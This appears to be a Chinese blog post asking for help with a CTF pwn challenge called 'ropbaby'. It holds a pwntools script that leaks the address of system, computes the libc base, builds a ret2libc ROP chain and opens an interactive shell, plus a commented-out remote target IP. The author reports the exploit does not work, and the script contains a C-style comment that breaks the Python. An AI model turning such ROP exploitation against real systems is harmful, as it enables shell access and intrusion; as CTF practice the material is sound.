美文网首页
无法提交的_ropbaby

无法提交的_ropbaby

作者: Zero_0_0 | 来源:发表于2019-04-21 23:49 被阅读0次

总是提交不了,希望大牛指出

检查安全机制
图片.png
2.分析
1)获取libc地址
2)获取libc函数的地址
3)糯糯r0p缓冲堆栈
4)出口

可执行文件给的libc.so.6地址和ldd ropbaby查看的不一样,有些不明白,不知道程序执行的时候到底调用的是哪个libc文件

#!/usr/bin/python
from pwn import*

p = process('./ropbaby')
#p = remote("106.2.25.7","8004")

libc_gadget_pop_ret_addr = 0x21102
libc_bin_sh_addr =  0x18cd17   //libc.2.23.so
#libc_bin_sh_addr =  181519   //libc.so.6
libc_system_addr = 0x45390

p.recvuntil(':')
p.sendline('2')
p.recvuntil('symbol:')
p.sendline('system')
p.recvuntil('Symbol system:')


system_addr  = int(p.recvline(),16)
print ("[+]system_addr:" +hex(system_addr))
libc_addr = system_addr - libc_system_addr
bin_sh_addr = libc_bin_sh_addr  + libc_addr
print ("[+]/bin/sh:" + hex(bin_sh_addr))
gadget_pop_ret_addr = libc_addr  +  libc_gadget_pop_ret_addr

print ("[+]gadget_pop_ret_addr:" + hex(gadget_pop_ret_addr))

payload = 'A'*8
payload +=p64(gadget_pop_ret_addr)
payload +=p64(bin_sh_addr)
payload +=p64(system_addr)

p.recvuntil(':')
p.sendline('3')
p.recvuntil('(max 1024):')
p.sendline('32')
p.sendline(payload)
p.interactive()

附加一个泄露system的数学公式

libc_base = __libc_start_main_addr - __libc_start_main_offset
system_addr = libc_base + system_offset

相关文章

网友评论

      本文标题:无法提交的_ropbaby

      本文链接:https://www.haomeiwen.com/subject/jykjgqtx.html